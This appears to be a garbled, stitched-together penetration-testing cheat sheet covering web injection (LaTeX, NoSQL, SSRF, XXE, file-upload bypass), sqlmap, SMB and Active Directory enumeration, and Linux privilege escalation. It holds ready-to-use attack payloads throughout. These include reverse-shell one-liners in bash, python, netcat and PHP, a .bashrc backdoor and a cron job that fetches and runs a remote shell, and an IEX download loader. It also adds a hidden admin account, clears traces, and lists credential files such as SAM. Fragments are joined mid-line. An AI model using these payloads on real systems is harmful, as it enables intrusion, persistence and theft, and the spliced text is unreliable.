wpscan --url $target -e vp --plugins-detection mixed --api-token $YOUR_TOKEN
# Enumerate all plugins in WPSCAN database (could take a very long time)
wpscan --url $target -e ap --plugins-detection mixed --api-token $YOUR_TOKEN# Deeper scan
wpscan --url $target --ignore-main-redirect --detection-mode aggressive --plugins-detection mixed --api-token $YOUR_TOKEN\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)
\lstinputlisting{/etc/passwd}
# raw files
\usepackage{verbatim}
\verbatiminput{/etc/passwd}\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
# if errors : encode base64\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}# install
git clone https://github.com/chipik/SAP_RECON.git
cd SAP_RECON/
# usage
python RECON.py -h# once we get a shell into the target unix machine, start moonwalk session
moonwalk start
# clear our traces
moonwalk finishnmap -sP -p $ip #ping scan
nmap -Pn -n -T4 -v3 $ip #quick scan
rustscan -a $ipnxc smb $network_ip# install
git clone https://github.com/ShutdownRepo/httpmethods
cd httpmethods
python3 setup.py install
# usage
httpmethods -u http://www.example.com/

$where - matches records based on Javascript condition.
$exists - matches records that have a certain field.
$regex - matches records that satisfy certain regular expressions.

Here, the server will fetch the contents of the /admin URL and return it to the user.
Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.
In the preceding example, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request:
Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using various techniques:
Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
Obfuscating blocked strings using URL encoding or case variation.
Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values. In this situation, you can sometimes circumvent the filter by exploiting inconsistencies in URL parsing.
The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
You can embed credentials in a URL before the hostname, using the @ character. For example:
https://expected-host@evil-host
You can use the # character to indicate a URL fragment. For example:
https://evil-host#expected-host
You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:
https://expected-host.evil-host
You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
You can use combinations of these techniques together.
db.users.find({query})
db.users.findOne(query){"username": "admin", "password":"adminpass"}# Similar to admin'--
# Ignores the password input
Instructing MongoDB to find a document (user) with a username equal to **admin** and his password is not equal to **xyz**, which turns this statement to TRUE because the admin's password is not xyz. http://example.thm.labs/search?username=admin&role[$ne]=user
http://example.thm.labs/search?username=ben&role=user
http://example.thm.labs/search?username[$ne]=ben&role=user
# On Login pages / search bars
admin' || 'a'=='atrue, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
# change to :
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/adminPOST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/adminCWE-611: Improper Restriction of XML External Entity.
CVE-2019-12153: Local File SSRF
CVE-2019-12154: Remote File SSRF
CVE-2018-1000838: Billion Laugh Attack
CVE-2019-0340: XXE via File Upload

Run without creds and attempt to gather for further enumeration during the run
Sample exploits included:
CVE-2020-1472
Describes the communication options for the target resource
Performs message-loop-back test along the path to the target resource
Applies partial modifications to a resource
Retrieves data using a given URI
Same as GET but only transfers the status line and header section
Sends data the the server
Replaces all current representations of the target resource with the uploaded content
Deletes a specified resource
Establishes a tunnel to the server
linux-exploit-suggesterRetrieve lots of passwords stored on a local computer.
SMBv3 guest access disabled, uses encryption. Most secure.
TCP port 139 is SMB over NetBIOS, TCP port 445 is SMB over IP (latest version of SMB).
List of SMB versions and corresponding Windows versions :
SMB1 – Windows 2000, XP, and Windows 2003.
SMB2 – Windows Vista SP1 and Windows 2008
SMB2.1 – Windows 7 and Windows 2008 R2
SMB3 – Windows 8 and Windows 2012.
Sub commands
A buffer overflow can cause the program to crash, corrupt data, or harm data structures in the program's runtime. The last of these can overwrite the specific program's return address with arbitrary data, allowing an attacker to execute commands with the privileges of the process vulnerable to the buffer overflow by passing arbitrary machine code. This code is usually intended to give us more convenient access to the system to use it for our own purposes. Such buffer overflows in common servers, and Internet worms also exploit client software.
The most significant cause of buffer overflows is the use of programming languages that do not automatically monitor limits of memory buffer or stack to prevent (stack-based) buffer overflow. These include the C and C++ languages, which emphasize performance and do not require monitoring.
FETCH
The next machine instruction address is read from the Instruction Address Register (IAR). It is then loaded from the Cache or RAM into the Instruction Register (IR).
DECODE
The instruction decoder converts the instructions and starts the necessary circuits to execute the instruction.
FETCH OPERANDS
If further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers.
EXECUTE
The instruction is executed. This can be, for example, operations in the ALU, a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions.
UPDATE INSTRUCTION POINTER
If no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction.


pip install pwncat-cs# Connect to a bind shell
pwncat-cs connect://10.10.10.10:4444
pwncat-cs 10.10.10.10:4444
pwncat-cs 10.10.10.10 4444
# Listen for reverse shell
pwncat-cs bind://0.0.0.0:4444
pwncat-cs 0.0.0.0:4444
pwncat-cs :4444
pwncat-cs -lp 4444
# Connect via ssh
pwncat-cs ssh://user:[email protected]
pwncat-cs [email protected]
pwncat-cs user:[email protected]
pwncat-cs -i id_rsa [email protected]
# SSH w/ non-standard port
pwncat-cs -p 2222 [email protected]
pwncat-cs [email protected]:2222
# Reconnect utilizing installed persistence
# If reconnection fails and no protocol is specified,
# SSH is used as a fallback.
pwncat-cs reconnect://[email protected]
pwncat-cs reconnect://user@c228fc49e515628a0c13bdc4759a12bf
pwncat-cs [email protected]
pwncat-cs c228fc49e515628a0c13bdc4759a12bf
pwncat-cs 10.10.10.10

When uploading a .php file;
When uploading a php file; You can upload the file to a different directory with lesser controls (a different directory that's not supposed to contain user-supplied files)
Before uploading a php file;
Servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.
Apache servers, for example, will load a directory-specific configuration from a file called .htaccess if one is present.
According to OWASP the following list can be used by penetration testers in order to bypass a variety of protections :
Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.
Content-Type —> Change the parameter in the request header using Burp, ZAP etc.
In order to upload a php file where the file verification is done on the server side (checking if it is really a IMAGE file), we can disguise a php file as an image file.
When uploading a php file :
or, Generate a polyglot payload using exiftool :
File upload restrictions bypass by using different bug bounty techniques! Tool must be running with all its assets!
Target the http://target.server.com URL using the -u flag:
Specify POST requests by specifying the -data flag:
Target a vulnerable parameter in an authenticated session by specifying cookies using the -cookie flag:
Drop all Set-Cookie requests from the target web server using the -drop-set-cookie flag:
Perform in-depth and risky attacks using the -level and -risk flags:
Specify which POST or GET parameter to target using the -p flag:
Choose a random User-Agent request header using the –random-agent flag:
Target a certain database service using the –dbms flag:
Read a request (stored via Burpsuite) target the user parameter (and no other parameters), run risky queries, and dump users and passwords:
Attempt privilege escalation on the target database
Dump everything in the database, but wait one second in-between requests.
Error-Based SQLi, dump all data from a MSSQL Database :
Here are some useful options for your pillaging pleasure:
-r req.txt Specify a request stored in a text file, great for saved requests from BurpSuite.
--force-ssl Force SQLmap to use SSL or TLS for its requests.
--level=1 only test against the specified parameter, ignore all others.
--risk=3 Run all exploit attempts, even the dangerous ones (could damage database).
--delay Set a delay in-between requests, great for throttled connections.
--proxy Set to http://127.0.0.1:8080 to pipe requests through BurpSuite for inspection.
--privesc Attempt to elevate the privileges of the database service account.
--all Enumerate everything inside the target database.
--hostname Print the target database’s hostname.
--passwords Find and exfiltrate all users and their password hashes or digests.
--dbs Enumerate all databases accessible via the target webserver.
--comments Enumerate all found comments inside the database.
--sql-shell Return a SQL prompt for interaction.
--os-cmd Attempt to execute a system command.
--os-shell Attempt to return a command prompt or terminal for interaction.
--reg-read Read the specified Windows registry key value.
--file-write Specify a local file to be written to the target server.
--file-dest Specify the remote destination to write a file to.
--technique= Specify a letter or letters of BEUSTQ to control the exploit attempts:
B : Boolean-based blind
E : Error-based
U : Union query-based
— A renowned search engine for gathering information about internet-connected devices.
, , , , — IoT-focused search engines similar to Shodan.
— A publicly searchable database of open AWS Buckets, Azure Blobs, and Digital Ocean Spaces..
— Search tool for public AWS S3 & Azure Blob buckets.
, , — Determine device manufacturers by MAC address, OUI, or IAB.
, , , — Databases for default passwords on various devices.
— Provides a comprehensive summary of registration data and technologies used on a website.
— A suite of tools for researching IP addresses, including blacklist checks, Whois, DNS lookup, and ping.
, , — Tools for searching by registration data and Whois.
— A domain exploration tool that discovers hosts associated with a domain.
— Determines server location and names of hosts sharing the IP address.
— Bulk IP address search tool, capable of checking up to 100 IP addresses at once and exporting results to .csv files.
— Feature-rich tool for searching by domain name, IP address, or hostname.
— A set of open-source tools for analyzing and visualizing the domain name system.
, , , , — Search engines for finding the approximate geographic location of an IP address and other relevant information.
, , — поиск по обратным ссылкам.
— same IP domains n subdomains finder .
, — search by SSL/TLS certs released for certain domain.
— A network intelligence framework, offering an alternative to Shodan, ZoomEye, Censys, and GreyNoise.
— A network scanner that searches for information in open sources, aggregating data from various search engines and databases.
— An OSINT tool based on NodeJs, combining port and subdomain scanning, DNS search, URL scanning, Whois search, and other functions.
— A utility for searching URLs, IP addresses, and MD5 hashes, designed to assist information security analysts.
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate data about organizations, individuals and other resources such as files and devices in a network - whether on the public Internet or on a corporate Intranet.
LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP), which is part of X.500, a standard for directory services in a network.
In-depth LDAP enumeration utility
ldapdomaindump is a tool which aims to solve this problem, by collecting and parsing information available via LDAP and outputting it in a human readable HTML format, as well as machine readable JSON and CSV/TSV/greppable files. Alternative of ldapsearch
https://techjournalism.medium.com/osint-checklist-for-company-investigations-86c3752c095d" %}
FInd public infos about the enterprise :
Other countries : search for "registre de commerce" "commercial register"
Find IP ranges and other infos on
Enter those ranges in
Search Engine Queries - Locations
“company_name” headquarters address
“company_name” branch office
“city state” county
site:bizjournals.com inurl:potm “company_name“
site:linkedin.com “company_name” “present (1 month)”
Application ID:Page ID:Session ID:Request:Debug:Clear Cache:Item Names:Item Values:Printer Friendly# admin interfaces
/apex/apex_admin
/i/apex_admin
/pls/apex/apex_admin
/ords/<workspace_name>/builder
# dev URL
/apex/wwv_flow.show?P_FLOW_ID=APP_ID
# web service
/apex/APP_ALIAS/wwv_flow.ajax
/apex/APP_ALIAS/wwv_flow.file_upload
/apex/APP_ALIAS/wwv_flow.accept
# misc
/apex/f?p=13000:1 # Packaged applications
/apex/f?p=4700 # Application Builder
/apex/f?p=4000:4500 # Team Development
/apex/f?p=4350 # SQL Workshop
/apex/f?p=4950 # Administration ServicesAPEX_VERSION
application-version
apex-version.js?v=$version<!-- EXAMPLE -->
<meta name="generator" content="Oracle Application Express 5.1">sqlmap -u "https://app.oracle.com/ords/wwv_flow.show?p_flow_id=112&p_flow_step_id=5&p_instance=14720048029141&p_arg_name=RP,45&p_arg_value=F_DISPLAY" --batch --dbms Oracle --level 3 --risk 3<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "file:///etc/passwd">
]>...<CODE><!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up# with nmap
nmap -p53,88,389 $network_ip --open -v -oN dc
# with nmcli
nmcli dev show $iface
# with nslookup
nslookup -type=SRV _ldap._tcp.dc.msdcs.$domain# with zmap
sudo zmap -i $iface -P 2 --probe-module=icmp_echoscan -B 1M --max-targets=10000000 -o targets_rfc1918.txt $network_ips
# with arp-scan
arp-scan -d $networkrange
# with nxc - smb, ssh, rdp
nxc smb $networkrange# test for dns attacks
dnsenum $domain -f /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt --dnsserver $dns_server_ip > dnsenum.txt
# discover printers, web, shares, vpn, media
gobuster dns -d $domain -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt# LINUX HOST
# no auth
# netexec
nxc smb $ip -u anonymous -p "" --rid-brute 10000
# kerbrute
kerbrute -domain $domain -dc-ip $ip -users /tools/payloads/SecLists/Usernames/xato-net-10-million-usernames.txt# WINDOWS HOST
GetADUsers.py $domain/ -dc-ip $ip
# Get all of the OUs in a domain
Get-ADOrganizationalUnit -Filter 'Name -like "*"' | Format-Table Name, DistinguishedName -A
### Create a new user in admin groupe
# username:password = anon:p3nT3st!
net user anon p3nT3st! /add
net localgroup administrators anon /add
net user anon p3nT3st! /add;net localgroup administrators anon /add
If you cannot import module start a webserver and
IEX(New-Object Net.Webclient).downloadstring('http://<IP>/Powershell.ps1')pip3 install ActiveDirectoryEnum
python -m ade
# query exploit for poc
python -m ade --exploit cve-2020-1472use auxiliary/scanner/http/options
set rhosts $target
set rport $port # if https use 443
# if https
set ssl true
exploitcat > les.sh
This file was created using cat (^._.^)
# Hit Ctrl+D to exit!# install
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
# usage
./les.sh# install
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
# usage
# shows interesting information that should help you to privesc
./lse.sh -l1
# dump all the information it gathers about the system
./lse.sh -l2 # install
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
# COMMANDS
# Local network
# On the Host
sudo python -m SimpleHTTPServer 80
# On the Victim
curl $ip/linpeas.sh | sh
# Without curl
# On the Host
sudo nc -q 5 -lvnp 80 < linpeas.sh
# On the Victim
cat < /dev/tcp/10.10.10.10/80 | sh
# USAGE
#all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -a
# superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -s
#Password - Pass a password that will be used with sudo -l and bruteforcing other users
./linpeas.sh -P# INSTALL
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
# python 2.6/2.7
python linuxprivchecker.py -w -o linuxprivchecker.log
# python 3.x
pip install linuxprivchecker
# USAGE
linuxprivchecker -w -o linuxprivchecker.log
# or
python3 -m linuxprivchecker -w -o linuxprivchecker.log# install
git clone https://github.com/rebootuser/LinEnum.git
# usage
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t# install
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
cd Linux/
# usage
python laZagne.pychmod +x unix-privesc-check
./unix-privesc-check > checks.txt# enumeration
run enumerate # to enumerate the whole server
run enumerate.file.caps # to enumerate linux capabilities
run enumerate.file.suid # to enumerate suid filessmbclient \\\\$ip\\$sharename# enum4linux
# default
enum4linux $ip
# runs all options
enum4linux -a $ip
# If you've obtained credentials => pull a full list of users regardless of the RestrictAnonymous option
enum4linux -u '$user' -p '$pass' -a $ip
# nmap
# enumerate smb shares, brute, get infos
nmap --script 'smb-enum-shares,smb-os-discovery,smb-brute,smb-system-info,smb-vuln*' -p 139,445 $ip
# netexec
# only in upgraded Windows servers from 2003 - No auth attempt
# Enumerate user shares anonymously
nxc smb $domainOrIP -u '' -p '' --shares
# to get password policy, minimum length, account lockout threshold
nxc smb $domainOrIP --pass-pol -u '' -p ''
# The usernames with RID greater than 1000 into a username file
nxc smb $domainOrIP -u robot -p '' --rid-brute | grep SidTypeUser
# smbmap
python3 smbmap.py --host-file smb-hosts.txt -d $domain -L# Default Output
smbmap.py -H 0.0.0.0 -u administrator -p asdf1234
# Default Output, with NTML hash
smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 0.0.0.0
# Command execution
smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 0.0.0.0rpcclient -U% $ip
rpcclient -U '' $ipenumdomusers
enumdomains
enumprivs
netshareenum
netsessenum
getdompwinfo
lookupnames administratorrpcdump.py -port 135 $ip# is there any nfs shares ?
showmount -e $ip
# mount it
mount -t nfs -o rw,vers=2 $ip:$remote_path $local_path -o nolockimport fitz
from datetime import datetime
def extract_creation_date(pdf_path):
with fitz.open(pdf_path) as doc:
try:
creation_date = doc.metadata.get("creationDate")
if creation_date:
creation_date = datetime.strptime(creation_date[2:16], "%Y%m%d%H%M%S")
return creation_date
else:
return None
except Exception as e:
print(f"Error extracting creation date from {pdf_path}: {e}")
return None
if __name__ == "__main__":
pdf_paths = ["file1.pdf", "file2.pdf", "file3.pdf"]
creation_dates = []
for path in pdf_paths:
creation_date = extract_creation_date(path)
if creation_date:
creation_dates.append((path, creation_date))
creation_dates.sort(key=lambda x: x[1])
print("PDF Creation Dates (in chronological order):")
for i, (pdf_path, date) in enumerate(creation_dates, start=1):
print(f"{i}. {pdf_path} - {date}")php://input
C:\boot.ini
C:\WINDOWS\win.ini
C:\WINDOWS\php.ini
C:\WINDOWS\System32\Config\SAM
C:\WINNT\php.ini
C:\xampp\phpMyAdmin\config.inc
C:\xampp\phpMyAdmin\phpinfo.php
C:\xampp\phpmyadmin\config.inc
C:\xampp\phpmyadmin\phpinfo.php
C:\xampp\phpmyadmin\config.inc.php
C:\xampp\phpMyAdmin\config.inc.php
C:\xampp\apache\conf\httpd.conf
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\mercury.ini
C:\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\phpMyAdmin\config.inc.php
C:\xampp\tomcat\conf\tomcat-users.xml
C:\xampp\tomcat\conf\web.xml
C:\xampp\sendmail\sendmail.ini
C:\xampp\webalizer\webalizer.conf
C:\xampp\webdav\webdav.txt
C:\xampp\apache\logs\error.log
C:\xampp\apache\logs\access.log
C:\xampp\FileZillaFTP\Logs
C:\xampp\FileZillaFTP\Logs\error.log
C:\xampp\FileZillaFTP\Logs\access.log
C:\xampp\MercuryMail\LOGS\error.log
C:\xampp\MercuryMail\LOGS\access.log
C:\xampp\mysql\data\mysql.err
C:\xampp\sendmail\sendmail.log
C:\apache\log\error.log
C:\apache\log\access.log
C:\apache\log\error_log
C:\apache\log\access_log
C:\apache2\log\error.log
C:\apache2\log\access.log
C:\apache2\log\error_log
C:\apache2\log\access_log
C:\log\error.log
C:\log\access.log
C:\log\error_log
C:\log\access_log
C:\apache\logs\error.log
C:\apache\logs\access.log
C:\apache\logs\error_log
C:\apache\logs\access_log
C:\apache2\logs\error.log
C:\apache2\logs\access.log
C:\apache2\logs\error_log
C:\apache2\logs\access_log
C:\logs\error.log
C:\logs\access.log
C:\logs\error_log
C:\logs\access_log
C:\log\httpd\access_log
C:\log\httpd\error_log
C:\logs\httpd\access_log
C:\logs\httpd\error_log
C:\opt\xampp\logs\access_log
C:\opt\xampp\logs\error_log
C:\opt\xampp\logs\access.log
C:\opt\xampp\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\xampp\apache\conf\httpd.conf# Default nmap script scan
sudo nmap -sV -sC -p- 0.0.0.0nmap -sV --script=banner -p21 0.0.0.0/24.
nc -nv 0.0.0.0
netcat 0.0.0.0 port# TCP
nmap –Pn –sT -sC –sV –p0-65535 0.0.0.0
# FTP
nmap -sC -sV -p21 0.0.0.0
# SMB
nmap --script smb-os-discovery.nse -p445 0.0.0.0-Pn # disables the ping command and only scans ports
-f # used to fragment the packets (i.e. split them into smaller pieces) making it less likely that the packets will be detected by a firewall or IDS.
# ALTERNATIVES TO -f, but providing more control over the size of the packets:
--mtu <number> # accepts a maximum transmission unit size to use for the packets sent. This must be a multiple of 8.
--scan-delay <time> # in ms, used to add a delay between packets sent. This is very useful if the network is unstable, but also for evading any time-based firewall/IDS triggers which may be in place.
--badsum # this is used to generate in invalid checksum for packets. Any real TCP/IP stack would drop this packet, however, firewalls may potentially respond automatically, without bothering to check the checksum of the packet. As such, this switch can be used to determine the presence of a firewall/IDS.
# Scan from spoofed IP
nmap 192.168.1.1 -D 192.168.1.2
# Scan Facebook from Microsoft
nmap -S www.microsoft.com www.facebook.com
# Use a specific source port
nmap 192.168.1.1 -g 53# http site map generator
nmap -Pn --script=http-sitemap-generator scanme.nmap.org
# Fast search for random web servers
nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000
# Brute forces DNS hostnames guessing subdomains
nmap -Pn --script=dns-brute domain.com
# Safe SMB scripts to run
nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1
# Whois query
nmap --script whois* domain.com
# Detect cross site scripting vulnerabilities.
nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org
# Check for SQL injections
nmap -p80 --script http-sql-injection scanme.nmap.org# Use in most cases : Noisy AF
rustscan -a 0.0.0.0 -- -A -sC -sV -oN initial.log
# SYN "Stealth" scan
sudo rustscan -a 0.0.0.0 -- -vv -oN Initial-SYN-Scan
# Service Scan
sudo rustscan -a 0.0.0.0 -p 22,53,80,443 -- -sV -Pn -vv
# Multiple IP Scanning
rustscan -a 0.0.0.0,1.1.1.1
# CIDR support
rustscan -a 192.168.0.0/30
# Selected port scanning
rustscan -a 0.0.0.0 -p 53,80,121,65535
# Ranges of ports
rustscan -a 0.0.0.0 --range 1-1000
# UDP scan
rustscan -a 0.0.0.0 -sU -p portsecho 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc* * * * * root curl http://$attacker_ip:8080/shell | bash#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1nc -nvlp $portssh-keygenmkdir .ssh
cp id_rsa .ssh/id_rsa<?php phpinfo(); ?>
<?php system('id'); ?>
<?php system($_GET[‘cmd’]); ?> //in user-agentbash -i >& /dev/tcp/0.0.0.0/8899 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/fphp -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'# Change :
# Content-Type: application/x-php
# to
# Content-Type: image/jpeg
# Content-Type: image/pngRaccoon — A reconnaissance and information gathering tool utilizing Nmap for port scanning and passive data retrieval techniques.
Mitaka — пA tool for looking up IP addresses, MD5 hashes, ASN, and Bitcoin addresses.
Photon — A scanner for extracting information from open sources, crawling specific websites for searches, keywords, subdomains, and more.
AttackSurfaceMapper — A scanner with open-source search capabilities, seeking subdomains and associated IP addresses.
HostHunter — Utilizes open-source intelligence techniques to match IP addresses to hostnames, with results exportable to CSV or TXT files.
Subfinder — A modular tool for discovering subdomains using passive reconnaissance techniques.
Sublist3r — Designed for finding subdomains using OSINT.
WASP Amass — erforms network mapping using open-source information.
Anubis — Another utility for detecting subdomains and gathering information about them from open sources.
DOME — A Python script that conducts active and/or passive scanning to discover subdomains and identify open ports.
Belati — A tool inspired by Foca and Datasploit, designed for collecting publicly available data and documents from websites. Foca Datasploit.

Professional and academic publications, information acquired from journals, conferences, symposia, academic papers, dissertations, and theses.
Commercial data, commercial imagery, financial and industrial assessments, and databases.
Grey literature, technical reports, preprints, patents, working papers, business documents, unpublished works, and newsletters.


site:domain.example -www# install
pip install shodan
# usage
shodan domain domain.examplegit clone https://github.com/shmilylty/OneForAll.git
cd OneForAll
pip3 install -r requirements.txt
# usage
python3 oneforall.py --target domain.example run # install
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
# usage
subfinder -d domain.example -o domain-subdig +short ptr $ip.in-addr.arpa# for each ip bloc :
blocip=0.0.0.0
filename=$(echo $blocip | tr '/' '-')
nmap -sn -v $blocip -oA ./${filename}_up --min-rate 1000
grep Up ${filename}_up.gnmap | awk '{print $2}' > ip-up-${filename}.txt
nmap -p- --open -sV -Pn -sT -v -iL ip-up-${filename}.txt -oA ./${filename}-full-scan --min-rate 1000gowitness file -f web.txt
gowitness report serve -a 127.0.0.1:7171Put server executable extensions : .php5, .shtml, .asa, .cert
Changing letters to capital form : .aSp, .PHp3
Using trailing spaces and/or dots at the end of the filename like .asp.. . .... ... , .asp , .asp.
Use of semicolon after the forbidden extension and before the permitted extension : .asp;.jpg (Only in IIS 6 or prior)
Upload a file with 2 extensions —> file.php.jpg
Use of null character—> file.asp%00.jpg
Create a file with a forbidden extension —> file.asp:.jpg or file.asp::$data
ALSO : Combination of the above


S : Stacked queries
T : Time-based blind
Q : Inline queries
3269 : msft-gc-ssl, Microsoft Global Catalog over SSL (similar to port 3268, LDAP over SSL)
Explanations
Let’s say a web page has a search box, which displays the search text alongside the search results as follows : Your search results for “searchtext”:
The web page also uses the HTTP GET request method to embed the user’s input data to the query string of the URL as follows: https://example.com/action.php?query=searchtext
If the search box is susceptible to a non-persistent XSS attack, a cybercriminal can send a malicious link to an unsuspecting user and exploit the vulnerability. This is how the script-injected link could look like:
Let’s take the following example of a web page that utilizes JavaScript to manipulate a DOM element:
